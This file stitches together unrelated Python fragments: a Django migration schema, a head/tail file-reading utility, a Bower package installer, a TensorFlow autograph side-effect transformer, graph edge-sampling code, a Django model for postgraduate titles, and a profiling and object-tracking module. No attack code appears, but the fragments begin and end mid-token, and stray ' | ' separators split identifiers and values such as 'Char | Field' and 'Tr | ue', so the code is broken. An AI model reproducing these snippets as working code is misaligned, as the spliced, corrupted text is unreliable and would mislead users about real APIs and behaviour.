'created': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'district': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'district_id': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['faces.District']", 'null': 'True'}),
'expiry_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'gen_description': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image_collection': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['album.ImageCollection']"}),
'in_sitemap': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_pinned': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
u'keywords_string': ('django.db.models.fields.Char | Field', [], {'max_length': '500', 'blank': 'True'}),
'publish_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'short_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),
'site': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['sites.Site']"}),
'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'Tr | ue', 'blank': 'True'}),
'status': ('django.db.models.fields.IntegerField', [], {'default': '2'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),
'updated': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'zip_import': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'blank': 'True'})
},
'faces.faceimage': {
'Meta': {'ordering': "(u'_order',)", 'object_name': 'FaceImage'},
'_meta_title': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),
'_order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'expiry_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'face': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'images'", 'to': u"orm['faces.Face']"}),
'gen_description': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image_collection_image': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'face_image'", 'to': "orm['album.ImageCollectionImage']"}),
'image_file': ('mezzanine.core.fields.FileField', [] |
find_byte(self, ifile, chunk, amount):
""" Find if data chunk contains 'amount' number of bytes.
Return value: (stat, pos, remaining-amount). If stat is True,
pos is the result, otherwise pos is not used, remaining-amount
is for the next run.
"""
length = len(chunk)
if length < amount:
amount -= length
return False, 0, amount
else: # found
pos = ifile.seek(-amount, 1)
return True, pos, 0
def find(self, ifile, offset, size, amount):
"""Read 'size' bytes starting from offset to find.
Return value: (stat, pos, remaining-amount). If stat is True,
pos is the result, otherwise pos is not used, remaining-amount
is for the next run.
"""
try:
pos = ifile.seek( | offset)
except OSError:
assert False, "unkown file seeking failure"
chunk = ifile.rea | d(size)
if self.mode == 'lines':
return self.find_line(ifile, chunk, amount)
else:
return self.find_byte(ifile, chunk, amount)
def run(self):
"""Find the offset of the last 'amount' lines"""
ifile = self.ifile
amount = self.amount
orig_pos = self.orig_pos
end = ifile.seek(0, 2) # jump to the end
# nothing to process, return the original position
total = end - orig_pos
if total <= amount:
correct_offset(ifile)
return orig_pos
bs = self.bs
# process the last block
remaining = total % bs
offset = end - remaining
stat, pos, amount = self.find(ifile, offset, remaining, amount)
while not stat and offset != orig_pos:
offset -= bs
stat, pos, amount = self.find(ifile, offset, bs, amount)
ifile.seek(self.orig_pos)
correct_offset(ifile)
return pos
class Buffer:
def __init__(self, amount):
self.min = amount
self.total = 0
self.data = []
def push(self, pair):
self.data.append(pair)
self.total += pair[0]
def pop(self):
pair = self.data.pop(0)
self.total -= pair[0]
return pair
def cut(self):
"""Pop as many pairs off the head of the self.data as
self.is_ready() is True, return a combined result.
"""
count = 0
data = b''
while self.is_ready():
x, y = self.pop()
count += x
data += y
return count, data
def is_satisfied(self):
"""The minimum amount is satisfied"""
return self.total >= self.min
def is_ready(self):
"""The buffer is ready to pop"""
return self.total - self.data[0][0] >= self.min
class HeadWorkerSL:
"""Seekable, line mode"""
def __init__(self, ifile, ofile, amount, bs=None):
self.ifile = ifile
self.ofile = ofile
self.amount = amount
self.bs = bs or 8192
def read(self):
return self.ifile.read(self.bs)
def transform(self, data):
return data.count(b'\n')
def is_last(self, count):
return count >= self.amount
def action(self, data, count):
self.ofile.write(data)
self.amount -= count
def handle_last(self, data):
pos = -1
for i in range(self.amount):
pos = data.index(b'\n', pos+1)
pos += 1
self.ofile.write(data[:pos])
over_read = len(data) - pos
try:
self.ifile.seek(-over_read, 1)
except Exception:
pass
def run(self):
while self.amount:
data = self.read()
if not data:
break
count = self.transform(data)
if self.is_last(count):
self.handle_last(data)
break
else:
self.action(data, count)
class HeadWorkerSB(HeadWorkerSL):
"""Seekable, byte mode"""
def transform(self, data):
return len(data)
def handle_last(self, data):
self.ofile.write(data[:self.amount])
over_read = len(data) - self.amount
try:
self.ifile.seek(-over_read, 1)
except Exception:
pass
class HeadWorkerTL(HeadWorkerSL):
"""Terminal, line mode"""
def read(self):
return self.ifile.readline()
def action(self, data, count):
self.ofile.write(data)
self.amount -= 1
self.ofile.flush()
def handle_last(self, data):
self.ofile.write(data)
self.ofile.flush()
class HeadWorkerTB(HeadWorkerSB):
"""Terminal, byte mode"""
def read(self):
return self.ifile.readline()
class HeadWorkerULIT(HeadWorkerSL):
"""Unseekable, line mode ignore tail"""
def __init__(self, ifile, ofile, amount, bs=None):
self.ifile = ifile
self.ofile = ofile
self.amount = amount
self.bs = bs or 8192
def read(self):
return self.ifile.read(self.bs)
def transform(self, data):
return data.count(b'\n')
def fill(self):
"""Fill up the buffer with content from self.ifile"""
amount = self.amount
buffer = Buffer(amount)
while True:
data = self.read()
if not data:
break
count = self.transform(data)
buffer.push((count, data))
if buffer.is_satisfied():
break
return buffer
def step(self, buffer):
"""Read and process the self.ifile step by step,
return False if nothing left in self.ifile.
"""
data = self.read()
if not data:
return False
count = self.transform(data)
buffer.push((count, data))
if buffer.is_ready():
x, data = buffer.cut()
self.proc(data)
return True
def proc(self, data):
self.ofile.write(data)
self.ofile.flush()
def handle_last(self, buffer):
while True:
x, data = buffer.pop()
if buffer.is_satisfied():
self.proc(data)
else:
diff = buffer.min - buffer.total
lines = data.splitlines(keepends=True)
self.ofile.writelines(lines[:-diff])
break
self.ofile.flush()
def run(self):
buffer = self.fill()
if buffer.is_satisfied():
while self.step(buffer):
pass
self.handle_last(buffer)
class HeadWorkerTLIT(HeadWorkerULIT):
"""Terminal, line mode ignore tail"""
def read(self):
return self.ifile.readline()
class HeadWorkerUBIT(HeadWorkerULIT):
"""Unseekable, byte mode ignore tail"""
def transform(self, data):
return len(data)
def handle_last(self, buffer):
while True:
x, data = buffer.pop()
if buffer.is_satisfied():
self.ofile.write(data)
else:
diff = buffer.min - buffer.total
self.ofile.write(data[:-diff])
break
self.ofile.flush()
class HeadWorkerTBIT(HeadWorkerUBIT):
"""Terminal, byte mode ignore tail"""
def read(self):
return self.ifile.readline()
class Mixin:
def copy_to_end(self):
while True:
chunk = self.read()
if not chunk:
break
self.ofile.write(chunk)
class TailWorkerSLIH(HeadWorkerSL, Mixin):
"""Seekable, line mode, ignore head"""
def __init__(self, ifile, ofile, amount, bs=None):
super(TailWorkerSLIH, self).__init__(ifile, ofile, amount, bs)
if amount > 0:
self.amount -= 1
def action(self, data, count):
self.amount -= count
def handle_last(self, data):
pos = -1
for i in range(self.amount):
pos = data.index(b'\n', pos+1)
pos += 1
self.ofile.write(data[pos:])
self.copy_to_end()
class TailWorkerSBIH(TailWorkerSLIH):
"""Seekable, byte mode, ignore head"""
def transform(sel |
ments_txt in files_map.items():
path = Path(requirements_txt)
if not path.exists() and group.lower() == "all" and freeze:
cmd = envoy.run("pip freeze")
self[group].loads(cmd.std_out)
elif path.exists():
self[group].load(path)
def load(self, filename, create_if_missing=True):
filename = Path(filename)
if not filename.exists() and create_if_missing:
self.load_pip_requirements()
with filename.open("w") as f:
f.write(yaml.dump(self.serialized, default_flow_style=False,
encoding=None))
self.filename = filename
return self.save(filename)
with filename.open() as f:
for group, requirements in yaml.load(f.read()).items():
for requirement in requirements:
self[group].add(Requirement.coerce(requirement))
self.filename = filename
def save(self, filename=None):
filename = Path(filename) if filename is not None else self.filename
with filename.open("w") as f:
f.write(self.yaml)
@property
def serialized(self):
to_ret = {}
for group, requirements in self.items():
to_ret[group] = [str(requirement) for requirement in requirements]
return to_ret
@property
def yaml(self):
return yaml.dump(self.serialized, default_flow_style=False,
encoding=None)
def __missing__(self, key):
if self.default_factory is None:
raise KeyError(key)
else:
ret = self[key] = self.default_factory(name=key)
return ret
class Bower(object):
bower_base_uri = "https://bower.herokuapp.com"
@classmethod
def get_package_url(cls, package, session=None, silent=False):
response = get("{}/packages/{}".format(cls.bower_base_uri, package))
return response.json().get("url", None)
@classmethod
def clean_semver(cls, version_spec):
return re.sub(r"([<>=~])\s+?v?", "\\1", version_spec, re.IGNORECASE)
class Hydrogen(object):
def __init__(self, assets_dir=None, requirements_file="requirements.yml"):
self.assets_dir = assets_dir or Path(".") / "assets"
self.requirements = GroupedRequirements()
self.requirements.load(requirements_file)
self.temp_dir = mkdtemp()
def extract_bower_zipfile(self, zip_file, dest, expected_version=None):
bower_json = None
root = None
deps_installed = []
for info in zip_file.infolist():
if PurePath(info.filename).name == "bower.json":
with zip_file.open(info) as f:
bower_json = json.load(f)
root = str(PurePath(info.filename).parent)
break
version = bower_json["version"]
if expected_version is not None:
expected_version = Bower.clean_semver(expected_version)
if not semver.match(version, expected_version | ):
click.secho("error: versions do not match ({} =/= {})".format(
version, expected_version))
raise InvalidPackageError
if "dependencies" in bower_json:
for package, version in bower_json["dependencies"].items():
url = Bower.get_package_url(package)
deps_installed.extend(self.get_bower_package(
url, dest=dest, version=version))
igno | re_patterns = [GitIgnorePattern(ig) for ig in bower_json["ignore"]]
path_spec = PathSpec(ignore_patterns)
namelist = [path for path in zip_file.namelist()
if PurePath(path).parts[0] == root]
ignored = list(path_spec.match_files(namelist))
for path in namelist:
dest_path = PurePath(
bower_json["name"],
*PurePath(path).parts[1:])
if path in ignored:
continue
for path in ignored:
for parent in PurePath(path):
if parent in ignored:
continue
if path.endswith("/"):
if list(path_spec.match_files([str(dest_path)])):
ignored.append(PurePath(path))
elif not (dest / dest_path).is_dir():
(dest / dest_path).mkdir(parents=True)
else:
target_path = dest / dest_path.parent / dest_path.name
source = zip_file.open(path)
target = target_path.open("wb")
with source, target:
shutil.copyfileobj(source, target)
deps_installed.append((bower_json["name"], bower_json["version"]))
return deps_installed
def get_bower_package(self, url, dest=None, version=None,
process_deps=True):
dest = dest or Path(".") / "assets"
parsed_url = urlparse(url)
if parsed_url.scheme == "git" or parsed_url.path.endswith(".git"):
if parsed_url.netloc == "github.com":
user, repo = parsed_url.path[1:-4].split("/")
response = get(github_api_uri +
"/repos/{}/{}/tags".format(user, repo))
tags = response.json()
target = None
if not len(tags):
click.secho("fatal: no tags exist for {}/{}".format(
user, repo), fg="red")
raise InvalidPackageError
if version is None:
target = tags[0]
else:
for tag in tags:
if semver.match(tag["name"],
Bower.clean_semver(version)):
target = tag
break
if not target:
click.secho(
"fatal: failed to find matching tag for "
"{user}/{repo} {version}".format(user, repo, version),
fg="red")
raise VersionNotFoundError
click.secho("installing {}/{}#{}".format(
user, repo, tags[0]["name"]), fg="green")
return self.get_bower_package(
url=target["zipball_url"],
dest=dest,
version=version)
raise NotImplementedError
click.echo("git clone {url}".format(url=url))
cmd = envoy.run('git clone {url} "{dest}"'.format(
url=url, dest=dest))
elif parsed_url.scheme in ("http", "https"):
zip_dest = download_file(url, dest=self.temp_dir,
label="{dest_basename}",
expected_extension="zip")
with zipfile.ZipFile(zip_dest, "r") as pkg:
return self.extract_bower_zipfile(pkg, dest,
expected_version=version)
# pkg.extractall(str(dest))
else:
click.secho("protocol currently unsupported :(")
sys.exit(1)
def install_bower(self, package, save=True, save_dev=False):
"""Installs a bower package.
:param save: if `True`, pins the package to the Hydrogen requirements
YAML file.
:param save_dev: if `True`, pins the package as a development
dependency to the Hydrogen requirements YAML file.
:param return: a list of tuples, containing all installed package names
and versions, including any dependencies.
"""
requirement = Requirement.coerce(package)
url = Bower.get_package_url(requirement.package)
installed = []
for name, _ in self.get_bower_package(url):
installed.append(Requirement(name, requirement.version))
for requirement in installed:
if save:
self.requirements["bower"].add(requirement, replace=True)
if save_dev:
|
# Copyright 2016 The | TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either e | xpress or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Adds guards against function calls with side effects.
Only standalone calls are guarded.
WARNING: This mechanism is incomplete. Particularly, it only guards the
arguments passed to functions, and does not account for indirectly modified
state.
Example:
y = tf.layers.dense(x) # Creates TF variable 'foo'
loss = loss(y)
opt.minimize(loss) # indirectly affects 'foo'
z = tf.get_variable('foo') # Indirectly affects `loss` and 'foo'
# Here, `loss` can be guarded. But `z` cannot.
# TODO(mdan): We should probably define a safe mode where we guard everything.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import gast
from tensorflow.contrib.autograph.pyct import anno
from tensorflow.contrib.autograph.pyct import ast_util
from tensorflow.contrib.autograph.pyct import qual_names
from tensorflow.contrib.autograph.pyct import templates
from tensorflow.contrib.autograph.pyct import transformer
from tensorflow.contrib.autograph.pyct.static_analysis.annos import NodeAnno
class SymbolNamer(object):
"""Describes the interface for SideEffectGuardTransformer's namer."""
def new_symbol(self, name_root, reserved_locals):
"""Generate a new unique function_name.
Args:
name_root: String, used as stem in the new name.
reserved_locals: Set(string), additional local symbols that are reserved.
Returns:
String.
"""
raise NotImplementedError()
class SideEffectGuardTransformer(transformer.Base):
"""Adds control dependencies to functions with side effects."""
def __init__(self, context):
super(SideEffectGuardTransformer, self).__init__(context)
# pylint:disable=invalid-name
def _visit_and_reindent(self, nodes):
new_nodes = []
current_dest = new_nodes
alias_map = {}
reindent_requested = False
for n in nodes:
n = self.visit(n)
# NOTE: the order in which these statements execute is important; in
# particular, watch out for ending up with cycles in the AST.
if alias_map:
n = ast_util.rename_symbols(n, alias_map)
if isinstance(n, (list, tuple)):
current_dest.extend(n)
else:
current_dest.append(n)
if anno.hasanno(n, anno.Basic.INDENT_BLOCK_REMAINDER):
reindent_requested = True
new_dest, new_alias_map = anno.getanno(
n, anno.Basic.INDENT_BLOCK_REMAINDER)
anno.delanno(n, anno.Basic.INDENT_BLOCK_REMAINDER)
new_alias_map.update(alias_map)
alias_map = new_alias_map
current_dest = new_dest
if reindent_requested and not current_dest:
# TODO(mdan): There may still be something that could be done.
raise ValueError('Unable to insert statement into the computation flow: '
'it is not followed by any computation which '
'the statement could gate.')
return new_nodes
def visit_FunctionDef(self, node):
node.body = self._visit_and_reindent(node.body)
return node
def visit_With(self, node):
node.body = self._visit_and_reindent(node.body)
return node
def visit_If(self, node):
node.body = self._visit_and_reindent(node.body)
node.orelse = self._visit_and_reindent(node.orelse)
return node
def visit_While(self, node):
node.body = self._visit_and_reindent(node.body)
node.orelse = self._visit_and_reindent(node.orelse)
return node
def visit_Expr(self, node):
self.generic_visit(node)
if isinstance(node.value, gast.Call):
# Patterns of single function calls, like:
# opt.minimize(loss)
# or:
# tf.py_func(...)
# First, attempt to gate future evaluation of args. If that's not
# possible, gate all remaining statements (and that may fail too, see
# _visit_and_reindent.
args_scope = anno.getanno(node.value, NodeAnno.ARGS_SCOPE)
# NOTE: We can't guard object attributes because they may not be writable.
# In addition, avoid renaming well-known names.
# TODO(mdan): Move these names into config.
unguarded_names = (qual_names.QN('self'), qual_names.QN('tf'))
guarded_args = tuple(s for s in args_scope.used
if not s.is_composite() and s not in unguarded_names)
# TODO(mdan): Include all arguments which depended on guarded_args too.
# For example, the following will still cause a race:
# tf.assign(a, a + 1)
# b = a + 1
# tf.assign(a, a + 1) # Control deps here should include `b`
# c = b + 1
# Or maybe we should just raise an "unsafe assign" error?
if guarded_args:
# The aliases may need new names to avoid incorrectly making them local.
# TODO(mdan): This is brutal. It will even rename modules - any fix?
need_alias = tuple(
s for s in guarded_args if s not in args_scope.parent.modified)
aliased_new_names = tuple(
qual_names.QN(
self.context.namer.new_symbol(
s.ssf(), args_scope.parent.referenced)) for s in need_alias)
alias_map = dict(zip(need_alias, aliased_new_names))
if len(guarded_args) == 1:
s, = guarded_args
aliased_guarded_args = alias_map.get(s, s)
else:
aliased_guarded_args = gast.Tuple(
[alias_map.get(s, s).ast() for s in guarded_args], None)
template = """
with ag__.utils.control_dependency_on_returns(call):
aliased_guarded_args = ag__.utils.alias_tensors(guarded_args)
"""
control_deps_guard = templates.replace(
template,
call=node.value,
aliased_guarded_args=aliased_guarded_args,
guarded_args=guarded_args)[-1]
else:
alias_map = {}
template = """
with ag__.utils.control_dependency_on_returns(call):
pass
"""
control_deps_guard = templates.replace(template, call=node.value)[-1]
control_deps_guard.body = []
node = control_deps_guard
anno.setanno(node, anno.Basic.INDENT_BLOCK_REMAINDER,
(node.body, alias_map))
return node
# pylint:enable=invalid-name
def transform(node, context):
return SideEffectGuardTransformer(context).visit(node)
|
rst sample one of
the node from N nodes, and sample all the edges for that node. h(x) = 1/N
3.stratified-random-pair sampling
We divide the edges into linked and non-linked edges, and each time either sample
mini-batch from linked-edges or non-linked edges. g(x) = 1/N_0 for non-link and
1/N_1 for link, where N_0-> number of non-linked edges, N_1-> # of linked edges.
4.stratified-random-node sampling
For each node, we define a link set consisting of all its linkes, and m non-link sets
that partition its non-links. We first selct a random node, and either select its link
set or sample one of its m non-link sets. h(x) = 1/N if linked set, 1/Nm otherwise
Returns (sampled_edges, scale)
scale equals to 1/h(x), insuring the sampling gives the unbiased gradients.
"""
if strategy == "random-pair":
return self.__random_pair_sampling(mini_batch_size)
elif strategy == "random-node":
return self.__random_node_sampling()
elif strategy == "stratified-random-pair":
return self.__stratified_random_pair_sampling(mini_batch_size)
elif strategy == "stratified-random-node":
return self.__stratified_random_node_sampling(10)
else:
print "Invalid sampling strategy, please make sure you are using the correct one:\
[random-pair, random-node, stratified-random-pair, stratified-random-node]"
return None
def get_num_linked_edges(self):
return len(self.__linked_edges)
def get_num_total_edges(self):
return self.__num_total_edges
def get_num_nodes(self):
return self.__N
def get_linked_edges(self):
return self.__linked_edges
def get_held_out_set(self):
return self.__held_out_map
def get_test_set(self):
return self.__test_map
def set_num_pieces(self, num_pieces):
self.__num_pieces = num_pieces
def __random_pair_sampling(self, mini_batch_size):
"""
sample list of edges from the whole training network uniformly, regardless
of links or non-links edges.The sampling approach is pretty simple: randomly generate
one edge and then check if that edge passes the conditions. The iteration
stops until we get enough (mini_batch_size) edges.
"""
p = mini_batch_size
mini_batch_set = Set() # list of samples in the mini-batch
# iterate until we get $p$ valid edges.
while p > 0:
firstIdx = random.randint(0,self.__N-1)
secondIdx = random.randint(0, self.__N-1)
if firstIdx == secondIdx:
continue
# make sure the first index is smaller than the second one, since
# we are dealing with undirected graph.
edge = (min(firstIdx, secondIdx), max(firstIdx, secondIdx))
# the edge should not be in 1)hold_out set, 2)test_set 3) mini_batch_set (avoid duplicate)
if edge in self.__held_out_map or edge in self.__test_map or edge in mini_batch_set:
continue
# great, we put it into the mini_batch list.
mini_batch_set.add(edge)
p -= 1
scale = (self.__N*(self.__N-1)/2)/mini_batch_size
return (mini_batch_set, scale)
def __random_node_sampling(self):
"""
A set consists of all the pairs that involve one of the N nodes: we first sample one of
the node from N nodes, and sample all the edges for that node. h(x) = 1/N
"""
mini_batch_set = Set()
# randomly select the node ID
nodeId = random.randint(0, self.__N-1)
for i in range(0, self.__N):
# make sure the first index is smaller than the second one, since
| # we are dea | ling with undirected graph.
edge = (min(nodeId, i), max(nodeId, i))
if edge in self.__held_out_map or edge in self.__test_map \
or edge in mini_batch_set:
continue
mini_batch_set.add(edge)
return (mini_batch_set, self.__N)
def __stratified_random_pair_sampling(self, mini_batch_size):
"""
We divide the edges into linked and non-linked edges, and each time either sample
mini-batch from linked-edges or non-linked edges. g(x) = 1/N_0 for non-link and
1/N_1 for link, where N_0-> number of non-linked edges, N_1-> # of linked edges.
"""
p = mini_batch_size
mini_batch_set = Set()
flag = random.randint(0,1)
if flag == 0:
""" sample mini-batch from linked edges """
while p > 0:
sampled_linked_edges = random.sample(self.__linked_edges, mini_batch_size * 2)
for edge in sampled_linked_edges:
if p < 0:
break
if edge in self.__held_out_map or edge in self.__test_map or edge in mini_batch_set:
continue
mini_batch_set.add(edge)
p -= 1
return (mini_batch_set, len(self.__linked_edges)/mini_batch_size)
else:
""" sample mini-batch from non-linked edges """
while p > 0:
firstIdx = random.randint(0,self.__N-1)
secondIdx = random.randint(0, self.__N-1)
if (firstIdx == secondIdx):
continue
# ensure the first index is smaller than the second one.
edge = (min(firstIdx, secondIdx), max(firstIdx, secondIdx))
# check conditions:
if edge in self.__linked_edges or edge in self.__held_out_map \
or edge in self.__test_map or edge in mini_batch_set:
continue
mini_batch_set.add(edge)
p -= 1
return (mini_batch_set, ((self.__N*(self.__N-1))/2 - len(self.__linked_edges)/mini_batch_size))
def __stratified_random_node_sampling(self, num_pieces):
"""
stratified sampling approach gives more attention to link edges (the edge is connected by two
nodes). The sampling process works like this:
a) randomly choose one node $i$ from all nodes (1,....N)
b) decide to choose link edges or non-link edges with (50%, 50%) probability.
c) if we decide to sample link edge:
return all the link edges for the chosen node $i$
else
sample edges from all non-links edges for node $i$. The number of edges
we sample equals to number of all non-link edges / num_pieces
"""
# randomly select the node ID
nodeId = random.randint(0, self.__N-1)
# decide to sample links or non-links
flag = random.randint(0,1) # flag=0: non-link edges flag=1: link edges
mini_batch_set = Set()
if flag == 0:
""" sample non-link edges """
# this is approximation, since the size of self.train_link_map[nodeId]
# greatly smaller than N.
mini_batch_size = int(self.__N/self.__num_pieces)
p = mini_batch_size
while p > 0:
# because of the sparsity, when we sample $mini_batch_size*2$ nodes, the list likely
# contains at least mini_batch_size valid nodes.
nodeList = random.sample(list(xrange(self.__N)), mini_batch_size * 2)
for neighborId in nodeList:
if p < 0:
break
if neighborId == nodeId:
continue
# check condition, and insert into mini_batch_set if it is valid.
|
# -*- coding: utf-8 -*-
from django.db import models
from apps.postitulos.models.EstadoPostitulo import EstadoPostitulo
from apps.postitulos.models.TipoPostitulo import TipoPostitulo
from apps.postitulos.models.PostituloTipoNormativa import PostituloTipoNormativa
from apps.postitulos.models.CarreraPostitulo import CarreraPostitulo
from apps.postitulos.models.AreaPostitulo import AreaPostitulo
from apps.registro.models.Nivel import Nivel
from apps.registro.models.Jurisdiccion import Jurisdiccion
import datetime
"""
Título nomenclado nacional
"""
class Postitulo(models.Model):
nombre = models.CharField(max_length=255)
tipo_normativa = models.ForeignKey(PostituloTipoNormativa)
normativa = models.CharField(max_length=50)
carrera_postitulo = models.ForeignKey(CarreraPostitulo)
observaciones = models.CharField(max_length=255, null=True, blank=True)
niveles = models.ManyToManyField(Nivel, db_table='postitulos_postitulos_niveles')
areas = models.ManyToManyField(AreaPostitulo, db_table='postitulos_postitulos_areas')
jurisdicciones = models.ManyToManyField(Jurisdiccion, db_table='postitulos_postitulos_jurisdicciones') # Provincias
estado = models.ForeignKey(EstadoPostitulo) # Concuerda con el último estado en TituloEstado
class Meta:
app_label = 'postitulos'
ordering = ['nombre']
def __unicode__(self):
return self.nombre
"Sobreescribo el init para agregarle propiedades"
def __init__(self, *args, **kwargs):
super(Post | itulo, self).__init__(*arg | s, **kwargs)
self.estados = self.getEstados()
def registrar_estado(self):
from apps.postitulos.models.PostituloEstado import PostituloEstado
registro = PostituloEstado(estado = self.estado)
registro.fecha = datetime.date.today()
registro.postitulo_id = self.id
registro.save()
def getEstados(self):
from apps.postitulos.models.PostituloEstado import PostituloEstado
try:
estados = PostituloEstado.objects.filter(postitulo = self).order_by('fecha', 'id')
except:
estados = {}
return estados
"Algún título jurisdiccional está asociado al título?"
def asociado_carrera_postitulo_jurisdiccional(self):
from apps.postitulos.models.CarreraPostituloJurisdiccional import CarreraPostituloJurisdiccional
return CarreraPostituloJurisdiccional.objects.filter(postitulo = self).exists()
|
caller_object_type = type(caller_frame.f_locals["self"])
except KeyError: # we are in a regular function
qualifier = caller_frame.f_globals["__name__"].split(".", 1)[-1]
else: # we are in a method
qualifier = caller_object_type.__name__
func_qualname = qualifier + "." + caller_frame.f_code.co_name
if disabled == 'env' and func_qualname not in cls._profilers: # don't do anything
return cls._disabledProfiler
# create an actual profiling object
cls._depth += 1
obj = super(Profiler, cls).__new__(cls)
obj._name = msg or func_qualname
obj._delayed = delayed
obj._markCount = 0
obj._finished = False
obj._firstTime = obj._lastTime = ptime.time()
obj._newMsg("> Entering " + obj._name)
return obj
def __call__(self, msg=None):
"""Register or print a new message with timing information.
"""
if self.disable:
return
if msg is None:
msg = str(self._markCount)
self._markCount += 1
newTime = ptime.time()
self._newMsg(" %s: %0.4f ms",
msg, (newTime - self._l | astTime) * 1000)
self._lastTime = newTime
def mark(self, msg=None):
self(msg)
def _newMsg(self, msg, *args):
msg = " " * (self._depth - 1) + msg
if self._delayed:
self._msgs.append((msg, args))
else:
self.flush()
print(msg % args)
def __del__(self):
self.finish()
|
def finish(self, msg=None):
"""Add a final message; flush the message list if no parent profiler.
"""
if self._finished or self.disable:
return
self._finished = True
if msg is not None:
self(msg)
self._newMsg("< Exiting %s, total time: %0.4f ms",
self._name, (ptime.time() - self._firstTime) * 1000)
type(self)._depth -= 1
if self._depth < 1:
self.flush()
def flush(self):
if self._msgs:
print("\n".join([m[0]%m[1] for m in self._msgs]))
type(self)._msgs = []
def profile(code, name='profile_run', sort='cumulative', num=30):
"""Common-use for cProfile"""
cProfile.run(code, name)
stats = pstats.Stats(name)
stats.sort_stats(sort)
stats.print_stats(num)
return stats
#### Code for listing (nearly) all objects in the known universe
#### http://utcc.utoronto.ca/~cks/space/blog/python/GetAllObjects
# Recursively expand slist's objects
# into olist, using seen to track
# already processed objects.
def _getr(slist, olist, first=True):
i = 0
for e in slist:
oid = id(e)
typ = type(e)
if oid in olist or typ is int: ## or e in olist: ## since we're excluding all ints, there is no longer a need to check for olist keys
continue
olist[oid] = e
if first and (i%1000) == 0:
gc.collect()
tl = gc.get_referents(e)
if tl:
_getr(tl, olist, first=False)
i += 1
# The public function.
def get_all_objects():
"""Return a list of all live Python objects (excluding int and long), not including the list itself."""
gc.collect()
gcl = gc.get_objects()
olist = {}
_getr(gcl, olist)
del olist[id(olist)]
del olist[id(gcl)]
del olist[id(sys._getframe())]
return olist
def lookup(oid, objects=None):
"""Return an object given its ID, if it exists."""
if objects is None:
objects = get_all_objects()
return objects[oid]
class ObjTracker(object):
"""
Tracks all objects under the sun, reporting the changes between snapshots: what objects are created, deleted, and persistent.
This class is very useful for tracking memory leaks. The class goes to great (but not heroic) lengths to avoid tracking
its own internal objects.
Example:
ot = ObjTracker() # takes snapshot of currently existing objects
... do stuff ...
ot.diff() # prints lists of objects created and deleted since ot was initialized
... do stuff ...
ot.diff() # prints lists of objects created and deleted since last call to ot.diff()
# also prints list of items that were created since initialization AND have not been deleted yet
# (if done correctly, this list can tell you about objects that were leaked)
arrays = ot.findPersistent('ndarray') ## returns all objects matching 'ndarray' (string match, not instance checking)
## that were considered persistent when the last diff() was run
describeObj(arrays[0]) ## See if we can determine who has references to this array
"""
allObjs = {} ## keep track of all objects created and stored within class instances
allObjs[id(allObjs)] = None
def __init__(self):
self.startRefs = {} ## list of objects that exist when the tracker is initialized {oid: weakref}
## (If it is not possible to weakref the object, then the value is None)
self.startCount = {}
self.newRefs = {} ## list of objects that have been created since initialization
self.persistentRefs = {} ## list of objects considered 'persistent' when the last diff() was called
self.objTypes = {}
ObjTracker.allObjs[id(self)] = None
self.objs = [self.__dict__, self.startRefs, self.startCount, self.newRefs, self.persistentRefs, self.objTypes]
self.objs.append(self.objs)
for v in self.objs:
ObjTracker.allObjs[id(v)] = None
self.start()
def findNew(self, regex):
"""Return all objects matching regex that were considered 'new' when the last diff() was run."""
return self.findTypes(self.newRefs, regex)
def findPersistent(self, regex):
"""Return all objects matching regex that were considered 'persistent' when the last diff() was run."""
return self.findTypes(self.persistentRefs, regex)
def start(self):
"""
Remember the current set of objects as the comparison for all future calls to diff()
Called automatically on init, but can be called manually as well.
"""
refs, count, objs = self.collect()
for r in self.startRefs:
self.forgetRef(self.startRefs[r])
self.startRefs.clear()
self.startRefs.update(refs)
for r in refs:
self.rememberRef(r)
self.startCount.clear()
self.startCount.update(count)
#self.newRefs.clear()
#self.newRefs.update(refs)
def diff(self, **kargs):
"""
Compute all differences between the current object set and the reference set.
Print a set of reports for created, deleted, and persistent objects
"""
refs, count, objs = self.collect() ## refs contains the list of ALL objects
## Which refs have disappeared since call to start() (these are only displayed once, then forgotten.)
delRefs = {}
for i in list(self.startRefs.keys()):
if i not in refs:
delRefs[i] = self.startRefs[i]
del self.startRefs[i]
self.forgetRef(delRefs[i])
for i in list(self.newRefs.keys()):
if i not in refs:
delRefs[i] = self.newRefs[i]
del self.newRefs[i]
self.forgetRef(delRefs[i])
#print "deleted:", len(delRefs)
## Which refs have appeared since call to start() or diff()
persistentRefs = {} ## created since start(), but before last diff()
